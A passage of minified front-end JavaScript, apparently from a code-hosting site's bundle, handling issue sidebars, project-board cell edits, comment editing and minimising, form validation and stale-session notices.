0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class 